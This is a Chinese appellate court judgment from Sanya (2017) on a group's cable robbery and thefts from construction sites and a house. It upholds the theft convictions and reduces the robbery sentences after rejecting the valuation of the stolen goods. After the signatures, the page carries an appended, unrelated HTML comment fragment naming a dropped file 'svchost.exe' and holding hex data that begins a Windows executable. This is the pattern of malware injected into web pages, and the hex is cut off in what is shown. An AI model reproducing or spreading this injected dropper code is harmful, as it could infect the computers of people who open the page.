海南省三亚市中级人民法院
p t ; ” > 刑 事 判 决 书
(2017)琼02刑终54号
原公诉机关三亚市城郊人民检察院。
上诉人（原审被告人）李清光，男，1984年1月2日出生于海南省儋州市，汉族，小学文化，户籍地住址海南省儋州市，捕前住三亚市天涯区芒果村，无业。因涉嫌犯抢劫罪、盗窃罪于2015年1月12日被抓获，同年1月14日被刑事拘留，2015年2月18日被逮捕。现押于三亚市第一看守所。
上诉人（原审被告人）王正帅，男，1988年1月9日出生于海南省儋州市，汉族，初中文化，户籍地住址海南省儋州市，捕前住三亚市天涯区芒果村，无业。因涉嫌犯抢劫罪、盗窃罪于2015年1月12日被抓获，同年1月14日被刑事拘留，2015年2月18日被逮捕。现押于三亚市第一看守所。
上诉人（原审被告人）陈井保，女，1981年5月7日出生于海南省儋州市，汉族，小学文化，户籍地住址海南省，捕前住三亚市天涯区芒果村，无业。因涉嫌犯抢劫罪、盗窃罪于2015年1月12日被抓获，同年1月14日被刑事拘留，2015年2月18日被逮捕。现押于三亚市第一看守所。
辩护人王方维，海南言必信律师事务所律师。
辩护人王洪玲，海南琼亚律师事务所律师。
上诉人（原审被告人）李应章，外号”姨叔”，男，1978年5月27日出生于海南省儋州市，汉族，小学文化，户籍地住址海南省儋州市，捕前住三亚市天涯区芒果村，无业。因涉嫌犯抢劫罪、盗窃罪于2015年1月12日被抓获，同年1月14日被刑事拘留，2015年2月18日被逮捕。现押于三亚市第二看守所。
辩护人吴丽珠，海南邦威律师事务所律师。
上诉人（原审被告人）唐全发，男，1973年5月8日出生于海南省儋州市，汉族，初中文化，户籍地住址海南省儋州市，捕前住三亚市天涯区芒果村，无业。因涉嫌犯抢劫罪、盗窃罪于2015年1月12日被抓获，同年1月14日被刑事拘留，2015年2月18日被逮捕。现押于三亚市第一看守所。
上诉人（原审被告人）赵旭日，男，1982年8月1日出生于海南省儋州市，汉族，初中文化，户籍地住址海南省儋州市，捕前住三亚市天涯区芒果村，无业。因涉嫌犯抢劫罪、盗窃罪于2015年1月12日被抓获，同年1月14日被刑事拘留，2015年2月18日被逮捕。现押于三亚市第一看守所。
辩护人陈ＸＸ，海南林源律师事务所律师。
上诉人（原审被告人）梁焕都，男，1984年3月28日出生于海南省儋州市，汉族，初中文化，户籍地住址海南省，捕前住三亚市天涯区芒果村，无业。因涉嫌犯抢劫罪于2015年1月12日被抓获，同年1月14日被刑事拘留，2015年2月18日被逮捕。现押于三亚市第一看守所。
辩护人关少凰，海南琼亚律师事务所律师。
原审被告人赵强义，男，1983年4月2日出生于海南省儋州市，汉族，小学文化，户籍地住址海南省儋州市，捕前住三亚市天涯区芒果村，无业。曾因犯聚众扰乱社会秩序罪于2006年9月14日被三亚市中级人民法院判处有期徒刑二年，缓刑三年。现因涉嫌犯盗窃罪于2015年1月12日被抓获，同年1月14日被刑事拘留，2015年2月18日被逮捕。现押于三亚市第二看守所。
三亚市城郊人民法院审理三亚市城郊人民检察院指控被告人李清光、唐全发、王正帅、陈井保、李应章、赵旭日犯抢劫罪、盗窃罪，被告人梁焕都犯抢劫罪，被告人赵强义犯盗窃罪一案，于2016年12月16日作出（2015）城刑初字第715号刑事判决书。宣判后，原审被告人李清光、唐全发、王正帅、陈井保、李应章、赵旭日、梁焕都不服，提出上诉。本院依法组成合议庭，于2017年8月25日公开开庭审理了本案。三亚市人民检察院指派检察员邢露出庭履行职务。上诉人李清光、唐全发、王正帅、陈井保、李应章、赵旭日、梁焕都及原审被告人赵强义，辩护人王方维、王洪玲、吴丽珠、陈ＸＸ、关少凰到庭参加诉讼。现已审理终结。
原判认定：
（一）2014年10月31日3时许，被告人李清光、唐全发、李应章、陈井保、梁焕都、王正帅、赵旭日伙同羊永康、”小洪”等人在三亚市××镇集中后商议一同前往三亚市海坡变电站工地盗窃电缆。被告人李清光驾驶一辆后排座位已经被拆掉的黑色长城牌越野车，搭载上述人员行驶至三亚市××站边，被告人李清光留在车上负责望风，被告人李应章等人陆续进入工地盗窃电缆。在此过程中，工地保安方泽雄听到声响后便开门查看。为防止有人报警，被告人唐全发伙同他人持勾刀、棍棒等物进入房间将方泽雄与工人符亚梦控制住，被告人李应章等人持棍棒在工地的活动板房二楼将工地土建施工队长贺硅平控制住。被告人梁焕都持液压钳等工具将电缆线剪成小段，被告人陈井保、赵旭日、王正帅等人将剪断的电缆线等搬到被告人李清光所驾驶的车辆。装满后，被告人李清光驾驶车辆搭载被告人李应章、陈井保返回芒果村，又驾驶一辆黑色本田CR-
V越野车将其余人员接回芒果村。被告人李应章则驾驶车辆将窃得的电缆销赃给一名叫做”阿百”的女子，得赃款17000余元，所得赃款由被告人李清光、李应章等人均分挥霍。经鉴定，被抢电缆线和铜线价值69020元。破案后，被抢财物未能追回。
（二）2014年12月9日1时许，被告人李应章驾驶黑色北京现代越野车搭载羊永康、”老二”、”左手”以及另一不知名男子至三亚市××路交叉口处的迎宾一号旁边的中环广场工地后，见工地内存放有电缆且无人看守。被告人李应章等人便下车进入工地持液压钳将电缆剪断后搬到现代越野车内。事后，被告人李应章驾驶车辆将电缆拉到三亚市火车站卖给一个绰号叫”二火”的女子，得赃款15000余元。经鉴定，被盗电缆价值54972元。破案后，被盗财物未能追回。
（三）2014年12月24日1时许，被告人李应章、唐全发、李清光、陈井保、王正帅、赵旭日、赵强义伙同羊永康、”阿鲁”、”胖子”在三亚市××镇篮球场集合后，由被告人李清光与”胖子”二人各驾驶一辆越野车分别搭载被告人李应章、陈井保、唐全发、王正帅、赵旭日、赵强义以及羊永康、”阿鲁”等人行驶到三亚市××路附近的同心家园11期工地。被告人李清光和”胖子”先后将车停在荔枝沟隧道旁边并留在车上负责接应，被告人李应章等人下车进入同心家园11期工地上，并在工地内发现两盘电缆线。被告人赵旭日、李应章二人在工地附近望风，被告人唐全发、陈井保等人用液压钳将电缆剪断后将电缆线分二次搬到车内。随后，被告人李应章等人驾驶车辆行驶至三亚市火车站对面的”阿百”的仓库将盗得的电缆线卖掉，得款约13000余元，所得赃款被均分挥霍。经鉴定，被盗电缆线价值36660元。破案后，被盗财物未能被追回。
(四)2015年1月12日1时许，被告人李清光、陈井保、唐全发、王正帅伙同羊永康、陈长彦、”阿鲁”等七人在三亚市芒果村的球场集中后，乘坐被告人李清光驾驶的黑色长城越野车行驶至三亚市××镇旁被害人赵某新建的楼房附近。被告人李清光留在车内负责接应，被告人唐全发、王正帅二人在路边、楼房侧后房望风。陈长彦持液压钳将被害人赵某楼房一侧窗户的防盗网剪断后并进入。陈长彦将楼内存放的电视机从窗户处逐一递出，羊永康、”阿鲁”与被告人陈井保等人将电视机搬入被告人李清光所驾车内。装满后，被告人李清光、陈井保驾车将窃得的电视机拉到火车站对面”阿百”的仓库。卸下窃得的电视机后，二人又驾车数次往返案发地，将窃得的电视机运至”阿百”的仓库以及陈长彦家中。被告人李清光等人此次共窃得59台全新的云龙牌32寸液晶电视机。经鉴定，被盗的电视机价值61950元。破案后，被盗的电视机均被追回已发还被害人。
原判认为，被告人李清光、唐全发、王正帅、陈井保、李应章、赵旭日、梁焕都无视国家法律，以非法占有为目的，结伙以胁迫手段，强行劫取他人财物，涉案财物价值人民币69020元，数额巨大，其共同行为已构成抢劫罪，应依法惩处。被告人李清光、唐全发、王正帅、陈井保、李应章、赵旭日、赵强义以非法占有为目的，结伙秘密窃取他人财物，其中被告人李清光、唐全发、王正帅、陈井保结伙盗窃二次，涉案财物价值人民币98610元，数额巨大；被告人李应章结伙盗窃二次，涉案财物价值人民币91632元，数额巨大；被告人赵强义、赵旭日结伙盗窃一次，涉案财物价值人民币36660元，数额巨大，其共同行为已构成盗窃罪，应予以严惩。被告人李清光、李应章、唐全发、陈井保、赵旭日、王正帅一人犯数罪，应数罪并罚。在共同犯罪中，被告人李清光、李应章、唐全发、陈井保、赵旭日、王正帅、梁焕都、赵强义的作用、地位相当，不区分主从犯，应根据相应的作用一并处罚。被告人赵强义曾因犯聚众扰乱社会秩序罪被判处刑罚，具有前科，可以酌情从重处罚。鉴于被告人唐全发、赵强义在庭审中自愿认罪，可以酌情从轻处罚。原判依照《中华人民共和国刑法》第二百六十三条第一款第（四）项、第二百六十四条、第六十一条、第二十五条第一款、第六十九条、第六十四条、第五十二条、第五十三条之规定，判决：一、被告人李清光犯抢劫罪，判处有期徒刑十三年三个月，并处罚金人民币20000元；犯盗窃罪，判处有期徒刑四年十个月，并处罚金人民币10000元。数罪并罚，决定执行有期徒刑十七年四个月，并处罚金人民币30000元。二、被告人王正帅犯抢劫罪，判处有期徒刑十三年三个月，并处罚金人民币20000元；犯盗窃罪，判处有期徒刑四年十个月，并处罚金人民币10000元。数罪并罚，决定执行有期徒刑十七年四个月，并处罚金人民币30000元。三、被告人陈井保犯抢劫罪，判处有期徒刑十三年三个月，并处罚金人民币20000元；犯盗窃罪，判处有期徒刑四年十个月，并处罚金人民币10000元。数罪并罚，决定执行有期徒刑十七年四个月，并处罚金人民币30000元。四、被告人李应章犯抢劫罪，判处有期徒刑十三年三个月，并处罚金人民币20000元；犯盗窃罪，判处有期徒刑四年八个月，并处罚金人民币10000元。数罪并罚，决定执行有期徒刑十七年四个月，并处罚金人民币30000元。五、被告人唐全发犯抢劫罪，判处有期徒刑十二年七个月，并处罚金人民币20000元；犯盗窃罪，判处有期徒刑四年七个月，并处罚金人民币10000元。数罪并罚，决定执行有期徒刑十六年五个月，并处罚金人民币30000元。六、被告人赵旭日犯抢劫罪，判处有期徒刑十三年三个月，并处罚金人民币20000元；犯盗窃罪，判处有期徒刑三年二个月，并处罚金人民币5000元。数罪并罚，决定执行有期徒刑十五年六个月，并处罚金人民币25000元。七、被告人梁焕都犯抢劫罪，判处有期徒刑十三年三个月，并处罚金人民币20000元。八、被告人赵强义犯盗窃罪，判处有期徒刑三年二个月，并处罚金人民币5000元。九、责令被告人李应章、唐全发、李清光、陈井保、梁焕都、王正帅、赵旭日退赔犯罪所得人民币69020元给被害人。责令被告人李应章退赔犯罪所得人民币54972元给被害人。责令被告人李应章、唐全发、李清光、陈井保、王正帅、赵旭日、赵强义退赔犯罪所得人民币36660元给被害人。
上诉人李清光的上诉理由为：1.其2014年10月31日在三亚市海坡变电站工地抢劫中只负责开车和在车上望风，其地位、作用和危害性明显小于其他同案被告人。对抢劫的电缆线估价过高。2.其参与2015年1月12日在回新村盗窃被害人赵某59台电视机后，主动协助公安机关追回24台电视机。
上诉人唐全发的上诉理由为：1.其参与2014年10月31日在三亚市海坡变电站工地的犯罪事实应认定为盗窃，不应认定为抢劫，且其认罪、悔罪，应从轻处罚。2.其未参与2014年12月24日在同心家园11期工地盗窃电缆线。
上诉人王正帅的上诉理由为：1.其2014年10月31日在三亚市海坡变电站工地抢劫中起次要作用，是从犯；其在犯罪过程中只有盗窃的主观故意；其系初犯、偶犯；从盗窃转化的抢劫应区别于一般的抢劫。2.其未参与2014年12月24日在同心家园11期工地盗窃电缆线。
上诉人陈井保的上诉理由及辩护人提出的辩护意见为：1.原判认定陈井保参与2014年10月31日在三亚市海坡变电站工地抢劫电缆线的事实不清，证据不足。2.原判认定陈井保参与2014年12月24日在同心家园11期工地盗窃电缆线的事实不清，证据不足。3.陈井保对参与2015年1月12日在回新村盗窃被害人赵某59台电视机的犯罪事实供认不讳，自愿认罪，所盗财物已追回，应从轻处理。
上诉人李应章的上诉理由为：其均参与了原判认定的三起犯罪，但在抢劫中其情节并不恶劣，只是建议去盗窃，并不是有预谋进行抢劫。被抢的电缆线和铜线都已灭失，所做评估没有事实依据。其辩护人提出的辩护意见是：1.原判认定李应章参与抢劫的犯罪事实不清，证据不足。2.被抢电线已灭失，受害人不能提供合理凭证，评估价格不合法。
上诉人赵旭日的上诉理由及辩护人提出的辩护意见为：1.认定赵旭日参与2014年10月31日在三亚市海坡变电站工地抢劫电缆线，事实不清，证据不足。2.即使认定赵旭日参与2014年10月31日在三亚市海坡变电站工地抢劫电缆线，也不应以抢劫罪论处，且在犯罪中所起作用较小，应认定为从犯。3.对被抢的电缆线没有追回，也没有购进价格凭证和发货单，没有评估的条件，结论不科学。
上诉人梁焕都的上诉理由及辩护人提出的辩护意见为：原判认定梁焕都参与2014年10月31日在三亚市海坡变电站工地抢劫电缆线的犯罪事实不清，证据不足。
经审理查明，2014年10月31日上诉人李清光、唐全发、李应章、陈井保、梁焕都、王正帅、赵旭日伙同他人在三亚市海坡变电站工地抢劫电缆线和铜线，2014年12月9日上诉人李应章伙同他人在中环广场工地盗窃价值54972元电缆线，2014年12月24日上诉人李应章、唐全发、李清光、陈井保、王正帅、赵旭日及原审被告人赵强义伙同他人在同心家园11期工地盗窃价值36660元电缆线，2015年1月12日上诉人李清光、陈井保、唐全发、王正帅伙同他人在回新村盗窃被害人赵某59台价值61950元电视机。以上犯罪事实，有经原审庭审举证、质证的证据证实，证据来源合法，内容客观、真实，证据之间具有关联性，且能互相印证，应予以确认。但原判认定2014年10月31日上诉人李清光、唐全发、李应章、陈井保、梁焕都、王正帅、赵旭日伙同他人在三亚市海坡变电站工地抢劫的电缆线和铜线价值69020元没有事实依据，不予认定。
关于上诉人的上诉理由及辩护人的辩护意见，本院综合评判如下：
1.关于第一起即2014年10月31日上诉人李清光、唐全发、李应章、陈井保、梁焕都、王正帅、赵旭日伙同他人在三亚市海坡变电站工地抢劫价值69020元电缆线和铜线的犯罪事实的问题。
（1）犯罪事实是否清楚，证据是否充分？
经查，海坡变电站工地的土建施工队长贺硅平、保安员方泽雄、符亚梦的陈述证实2014年10月31日4时许，其三人在海坡变电站工地被人持刀、棍威胁，抢走一批铜线和电缆线。上诉人李应章在侦查阶段供述2014年10月31日凌晨，其和唐全发、李清光、陈井保、梁焕都、王正帅、赵旭日等9人准备好刀和棍到海坡变电站工地，将负责看守的工人控制住后再将电缆线抢走。上诉人唐全发供述2014年某月的一天凌晨，其和李清光、王正帅、李应章、梁焕都、陈井保等人进入一个工地后偷电缆线，其持刀吓唬一名工人，直到其他人将电缆线搬进车内后才一起离开。上诉人李清光在侦查阶段供述2014年10月底或者是11月初的一天凌晨，其和李应章、唐全发、王正帅、梁焕都、赵旭日等八个人去海坡变电站工地内，有人拿刀、拿铁钳，还有人戴着头套，将电缆线和铜线搬到车内拉走。上诉人陈井保在侦查阶段供述2014年10月底的一天3时许，其和李清光、李应章、王正帅、赵旭日、唐全发、梁焕都等人在三亚市海坡芒果村集中后，开车到海坡变电站，4、5个人拿着刀和棍向活动板房冲去，后把电缆线和铜线拉回去。上诉人梁焕都在侦查阶段供述2014年10月份的一天凌晨，其和李应章、陈井保、唐全发等人准备液压钳、刀和木棍等物，到海坡一个工地，将电缆线剪断拉走。上诉人赵旭日在侦查阶段供述2014年10月底的一天凌晨，其和李应章、唐全发、梁焕都、王正帅、李清光、陈井保等人到一工地里找寻电缆等财物，李应章就将木棍交给其，并让其看着房间里的人，不要让那个人报警。李应章等人将电缆线和铜线搬到车内拉走。上述证据，均经庭审举证、质证，其来源合法，真实客观，可以形成完整的证据链，足以认定2014年10月31日上诉人李清光、唐全发、李应章、陈井保、梁焕都、王正帅、赵旭日伙同他人在三亚市海坡变电站工地抢劫电缆线和铜线。
其中，①上诉人李应章、李清光、陈井保及赵旭日均供述上诉人梁焕都与其他上诉人一同乘坐车辆到达案发现场，其中上诉人李清光、赵旭日供述了上诉人梁焕都使用钳子剪断电缆并有搬电缆等行为，上诉人梁焕都在侦查阶段亦予以供认，足以认定上诉人梁焕都参与抢劫的犯罪事实。在二审庭审中，梁焕都的辩护人申请出庭的证人王某、李某只能证实梁焕都于2014年10月21日至11月5日期间曾在王某家干木工活，但不能证实2014年10月31日梁焕都没有作案时间。②上诉人李应章、陈井保、李清光供述上诉人赵旭日在案发当天与其他上诉人坐车到达案发现场并有实施搬电缆等行为，且上诉人赵旭日在公安侦查阶段也做了有罪供述，足以认定上诉人赵旭日参与抢劫的犯罪事实。③上诉人李应章、赵旭日供述上诉人陈井保是坐在车辆的副驾驶位置到达案发现场，并下车参与实施搬电缆线等犯罪行为，且上诉人梁焕都亦辨认出陈井保就是当晚参与犯罪的同伙。上诉人陈井保在侦查阶段亦供认其当晚参与犯罪。足以认定上诉人陈井保参与抢劫的犯罪事实。④上诉人李清光、唐全发、陈井保、梁焕都、赵旭日在侦查阶段均供述李应章参与抢劫，李应章在侦查、一审、二审阶段均供认参与，只是认为其是盗窃，不应定性为抢劫。本案证据足以认定上诉人李应章参与抢劫的犯罪事实。
故，上诉人赵旭日认为其未参与抢劫的上诉理由，上诉人梁焕都、陈井保、上诉人李应章的辩护人认为原判认定梁焕都、陈井保、李应章参与2014年10月31日在三亚市海坡变电站工地抢劫电缆线的犯罪事实不清，证据不足的上诉理由和辩护意见，均没有事实和法律依据，不予采纳。
（2）定性是否准确,是盗窃还是抢劫？
经查，海坡变电站工地的土建施工队长贺硅平陈述案发当晚两名蒙面男子冲进房间，其中一名手持长棍让其别出声，别动。工地保安员方泽雄陈述案发当晚一名男子拿刀往其脸部砍了一刀并拿刀架在其脖子上，把其推进板房里，还拿刀拍打其脸颊，用脚往其身上踹。工地保安员符亚梦陈述案发当晚有三名男子其中一名手持刀、另外两名手持木棍冲了进来，手持刀的男子就把刀架在其脖子上并说：”不许动、不许叫，不然打死你。”上诉人李应章在侦查阶段供述案发当晚其和唐全发、李清光、陈井保、梁焕都、王正帅、赵旭日等人事先准备好刀和棍，准备到工地后先将负责看守的工人控制住后再将电缆抢走。进入变电站后，就有人拿刀和木棍到活动板房内去控制工地的看守工人。上诉人唐全发供述案发当晚其拿刀跑过去叫一名工人不要出声以及走回到房间里面。上诉人李清光在侦查阶段供述案发当晚其和李应章、唐全发、王正帅、梁焕都、赵旭日等人到海坡变电站偷东西时有人拿刀、拿铁钳，还有人戴着头套。上诉人陈井保在侦查阶段供述案发当晚其和李清光、李应章、王正帅、赵旭日、唐全发、梁焕都等人到海坡变电站工地偷东西时，有4、5个人拿着刀和棍向活动板房冲去。上诉人梁焕都在侦查阶段供述案发当晚其和李应章、李清光、陈井保、唐全发等人去偷东西时，准备了刀和棍子用于发现时威胁、吓唬工人。上诉人赵旭日在侦查阶段供述案发当晚其和李应章、唐全发、梁焕都、王正帅、李清光、陈井保等人在海坡电站工地偷东西时，李应章将木棍交给其，让其看着房间里的人，不要让那个人报警。根据以上证据，可以认定上诉人到达案发现场后就手持事先准备好的刀、木棍等器械冲进活动板房对被害人恐吓、威胁，最后将电缆线强行劫走的事实，应以抢劫罪论处。
故，上诉人唐全发认为应认定为盗窃，不应认定为抢劫的上诉理由，上诉人李应章认为其在抢劫中情节并不恶劣，只是建议去盗窃，并不是有预谋进行抢劫的上诉理由，上诉人王正帅认为其在犯罪过程中只有盗窃的主观故意，从盗窃转化的抢劫应区别于一般的抢劫的上诉理由，均没有事实和法律依据，不予采纳。
（3）在共同犯罪中各上诉人的地位和作用是否应划分主从犯？
在抢劫犯罪过程中，各上诉人虽分工不一样，但均积极参与，作用、地位相当，不宜区分主从犯。其中，上诉人李清光驾驶长城牌越野车拉同伙到作案地点后负责望风，在同伙得手后和李应章把电缆线和铜线拉回芒果村后，又驾驶一辆本田CR-
V返回接上其他同伙。其地位、作用和危害性与其他同案上诉人相当。上诉人王正帅在上诉人李应章提议后同意参与作案，到现场后与其他同伙一起把电缆线和铜线搬上车，不能认定其为从犯。
故，上诉人李清光认为其地位、作用和危害性明显小于其他同案上诉人的上诉理由及上诉人王正帅认为其在抢劫中是从犯的上诉理由，均没有事实和法律依据，不予采纳。
（4）价格认定书能否采信
经查，根据工地施工队长贺硅平的报案书和陈述，被盗的铜线约重800公斤，规格4×35平方毫米的铜质电缆线120米，规格4×10平方毫米的铜质电缆线长约100米，规格24×1.5平方毫米的铜质电缆线长约95米，没有提及铜线和电缆线的品牌。但评估时，确定电缆线是3A牌，铜线是金桥铜业牌，其中规格4×35平方毫米的是140米，规格4×10平方毫米的是150米，与贺硅平的陈述不一致。在二审庭审中，检察员出示三亚市公安局天涯分局刑警大队出具的情况说明，证实评估时依据的品牌、长度是贺硅平后来以短信的形式发给办案民警的，但因办案民警手机故障，已无法提取该短信。本院认为，由于短信无法提取，不能确定评估时依据的品牌、长度是贺硅平提供的。侦查机关在询问贺硅平时没有具体了解被抢铜线和电缆线的品牌，没有找工地其他证人调查了解被抢铜线和电缆线的品牌、数量，没有调取工地对铜线、电缆线进货、使用的相关证据。被抢的电缆线和铜线都已灭失，根据现有证据，认定被抢铜线和电缆线的品牌、数量证据不充分，所做评估没有事实依据，不予采信。
故，上诉人李清光、李应章、赵旭日及辩护人认为该价格认定书不应采信的上诉理由和辩护意见成立，应予采纳。
2.认定第三起即2014年12月24日上诉人李应章、唐全发、李清光、陈井保、王正帅、赵旭日、赵强义伙同他人在同心家园11期工地盗窃价值36660元电缆线的犯罪事实是否清楚，证据是否充分？
经查，三亚市同心家园十一期建筑工地施工员罗德彪陈述，2014年12月24日工地上两捆电缆线被偷。上诉人李应章供述2014年12月24日，其和李清光、陈井保、王正帅、赵旭日、赵强义等8个人到同心家园11期工地盗走2盘电缆线。上诉人唐全发供述2014年12月下旬的某一天凌晨，其和李清光、李应章、陈井保、王正帅等人到荔枝沟隧道高速公路旁边一个工地，盗走2盘电缆线。上诉人李清光在侦查阶段供述2014年12月底的某一天的凌晨，其和李应章、唐全发、赵旭日、王正帅、陈井保、赵强义等人到水上乐园附近一个工地盗走电缆线。上诉人陈井保在侦查阶段供述，2014年12月底的某一天凌晨，其和李清光、李应章、唐全发、赵旭日、赵强义等人到同心家园11期工地盗走电缆线。上诉人王正帅在侦查阶段供述2014年12月24日左右24时，其和李应章、唐全发、陈井保、李清光、”阿鲁”等人到一个隧道附近的一个工地里盗走2盘电线。上诉人赵旭日供述2014年12月底的某天1时左右，其和李应章、李清光、陈井保、王正帅、赵强义、唐全发等8个人到荔枝沟隧道附近一个工地盗走2盘电缆线。上诉人赵强义供述2014年12月24日凌晨其和李应章、赵旭日、陈井保、李清光、王正帅等人到同心家园11期工地盗走2盘新电缆。三亚市价格认证中心出具的三价证刑认字〔2015〕137号价格认定书，证实同心家园11期建筑工地内被盗的电缆线价值为36660元。上述证据，均经庭审举证、质证，其来源合法，真实客观，可以形成完整的证据链，足以认定2014年12月24日上诉人李应章、唐全发、李清光、陈井保、王正帅、赵旭日、赵强义伙同他人在同心家园11期工地盗窃价值36660元电缆线。
其中，①上诉人李应章、唐全发、李清光、赵旭日、赵强义都供述了上诉人王正帅参与实施该起犯罪事实，上诉人王正帅在侦查阶段亦供认其参与该起盗窃。认定上诉人王正帅参与该起盗窃的证据确实充分。②上诉人李应章、唐全发、赵旭日、王正帅及原审被告人赵强义的供述，可以证实上诉人陈井保坐车到达案发现场并下车进行查看现场、搬电缆等盗窃行为。上诉人陈井保在侦查阶段亦供认其参与该起盗窃。认定上诉人陈井保参与该起盗窃的证据确实充分。③上诉人李清光、陈井保、王正帅、赵旭日及原审被告人赵强义都供述了上诉人唐全发参与实施该起犯罪事实，上诉人唐全发在侦查阶段和一审庭审中对该起犯罪事实均供认不讳。认定上诉人唐全发参与该起盗窃的证据确实充分。
故，上诉人陈井保认为原判认定其参与该起盗窃电缆线的事实不清，证据不足的上诉理由，上诉人王正帅、唐全发认为其未参与该起盗窃电缆线的上诉理由，均没有事实和法律依据，不予采纳。
3.上诉人李清光认为其参与2015年1月12日在回新村盗窃被害人赵某59台电视机后，主动协助公安机关追回24台电视机的上诉理由，经查，在二审庭审中，出庭的检察员出示三亚市公安局天涯分局刑警大队的情况说明，证实上诉人李清光是在办案民警讯问过程中供述了藏匿24台电视机地点，并无主动协助公安机关追回的行为。据此，只能认定上诉人李清光到案后如实供述犯罪事实，不能认定其有立功表现。
本院认为，原判认定上诉人李清光、唐全发、王正帅、陈井保、李应章、赵旭日及原审被告人赵强义犯盗窃罪的事实清楚，证据确实、充分，定罪准确，量刑适当。原判认定上诉人李清光、唐全发、王正帅、陈井保、李应章、赵旭日、梁焕都参与抢劫的事实清楚，证据确实、充分，但认定抢劫的电缆线和铜线价值69020元没有事实依据，不予认定。鉴于上诉人李清光、王正帅、李应章、唐全发对抢劫犯罪的认罪态度相对较好，可酌情从轻处罚。依照《中华人民共和国刑法》第二百六十三条、第二十五条第一款、第六十一条、第六十九条第一款、第六十四条、第五十二条及《中华人民共和国刑事诉讼法》第二百二十五条第一款第（二）项的规定，判决如下：
一、维持三亚市城郊人民法院（2015）城刑初字第715号刑事判决中第一、二、三、四、五、六、八项对被告人李清光、王正帅、陈井保、李应章、唐全发、赵旭日、赵强义犯盗窃罪的定罪量刑和责令退赔部分，即：被告人李清光犯盗窃罪，判处有期徒刑四年十个月，并处罚金人民币10000元。被告人王正帅犯盗窃罪，判处有期徒刑四年十个月，并处罚金人民币10000元。被告人陈井保犯盗窃罪，判处有期徒刑四年十个月，并处罚金人民币10000元。被告人李应章犯盗窃罪，判处有期徒刑四年八个月，并处罚金人民币10000元。被告人唐全发犯盗窃罪，判处有期徒刑四年七个月，并处罚金人民币10000元。被告人赵旭日犯盗窃罪，判处有期徒刑三年二个月，并处罚金人民币5000元。被告人赵强义犯盗窃罪，判处有期徒刑三年二个月，并处罚金人民币5000元。责令被告人李应章退赔犯罪所得人民币54972元给被害人。责令被告人李应章、唐全发、李清光、陈井保、王正帅、赵旭日、赵强义退赔犯罪所得人民币36660元给被害人。
二、撤销三亚市城郊人民法院（2015）城刑初字第715号刑事判决中第一、二、三、四、五、六、七项对被告人李清光、王正帅、陈井保、李应章、唐全发、赵旭日、梁焕都犯抢劫罪的定罪量刑、责令退赔及数罪并罚部分，即：被告人李清光犯抢劫罪，判处有期徒刑十三年三个月，并处罚金人民币20000元；数罪并罚，决定执行有期徒刑十七年四个月，并处罚金人民币30000元。被告人王正帅犯抢劫罪，判处有期徒刑十三年三个月，并处罚金人民币20000元；数罪并罚，决定执行有期徒刑十七年四个月，并处罚金人民币30000元。被告人陈井保犯抢劫罪，判处有期徒刑十三年三个月，并处罚金人民币20000元；数罪并罚，决定执行有期徒刑十七年四个月，并处罚金人民币30000元。被告人李应章犯抢劫罪，判处有期徒刑十三年三个月，并处罚金人民币20000元；数罪并罚，决定执行有期徒刑十七年四个月，并处罚金人民币30000元。被告人唐全发犯抢劫罪，判处有期徒刑十二年七个月，并处罚金人民币20000元；数罪并罚，决定执行有期徒刑十六年五个月，并处罚金人民币30000元。被告人赵旭日犯抢劫罪，判处有期徒刑十三年三个月，并处罚金人民币20000元；数罪并罚，决定执行有期徒刑十五年六个月，并处罚金人民币25000元。被告人梁焕都犯抢劫罪，判处有期徒刑十三年三个月，并处罚金人民币20000元。责令被告人李应章、唐全发、李清光、陈井保、梁焕都、王正帅、赵旭日退赔犯罪所得人民币69020元给被害人。
三、上诉人李清光犯抢劫罪，判处有期徒刑七年，并处罚金人民币10000元；与犯盗窃罪，判处有期徒刑四年十个月，并处罚金人民币10000元，数罪并罚，决定执行有期徒刑十一年六个月，并处罚金人民币20000元。
（刑期从判决执行之日起计算。判决执行以前先行羁押的，羁押一日折抵刑期一日，即自2015年1月12日起至2026年7月11日止。）
四、上诉人王正帅犯抢劫罪，判处有期徒刑七年，并处罚金人民币10000元；与犯盗窃罪，判处有期徒刑四年十个月，并处罚金人民币10000元，数罪并罚，决定执行有期徒刑十一年六个月，并处罚金人民币20000元。
（刑期从判决执行之日起计算。判决执行以前先行羁押的，羁押一日折抵刑期一日，即自2015年1月12日起至2026年7月11日止。）
五、上诉人陈井保犯抢劫罪，判处有期徒刑七年六个月，并处罚金人民币10000元；与犯盗窃罪，判处有期徒刑四年十个月，并处罚金人民币10000元，数罪并罚，决定执行有期徒刑十一年六个月，并处罚金人民币20000元。
（刑期从判决执行之日起计算。判决执行以前先行羁押的，羁押一日折抵刑期一日，即自2015年1月12日起至2026年7月11日止。）
六、上诉人李应章犯抢劫罪，判处有期徒刑七年，并处罚金人民币10000元；与犯盗窃罪，判处有期徒刑四年八个月，并处罚金人民币10000元，数罪并罚，决定执行有期徒刑十一年六个月，并处罚金人民币20000元。
（刑期从判决执行之日起计算。判决执行以前先行羁押的，羁押一日折抵刑期一日，即自2015年1月12日起至2026年7月11日止。）
七、上诉人唐全发犯抢劫罪，判处有期徒刑七年，并处罚金人民币10000元；犯盗窃罪，判处有期徒刑四年七个月，并处罚金人民币10000元，数罪并罚，决定执行有期徒刑十一年五个月，并处罚金人民币20000元。
（刑期从判决执行之日起计算。判决执行以前先行羁押的，羁押一日折抵刑期一日，即自2015年1月12日起至2026年6月11日止。）
八、上诉人赵旭日犯抢劫罪，判处有期徒刑七年六个月，并处罚金人民币10000元；与犯盗窃罪，判处有期徒刑三年二个月，并处罚金人民币5000元，数罪并罚，决定执行有期徒刑十年六个月，并处罚金人民币15000元。
（刑期从判决执行之日起计算。判决执行以前先行羁押的，羁押一日折抵刑期一日，即自2015年1月12日起至2025年7月11日止。）
九、上诉人梁焕都犯抢劫罪，判处有期徒刑七年六个月，并处罚金人民币10000元。
（刑期从判决执行之日起计算。判决执行以前先行羁押的，羁押一日折抵刑期一日，即自2015年1月12日起至2022年7月11日止。）
以上罚金款限令于本判决生效之日起十日内一次性向三亚市城郊人民法院缴纳。
本判决为终审判决。
审判长李力
审判员何艳
审判员梁朝
二〇一七年八月三十一日
法官助理梁超栋
书记员杨超群
<!--</div>
DropFileName=”svchost.exe”
WriteData=”4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000504500004C010300BC7CB1470000000000000000E0000F010B01070400E000000010000000E0010030C0020000F0010000D002000000400000100000000200000A00000008000100040000000000000000E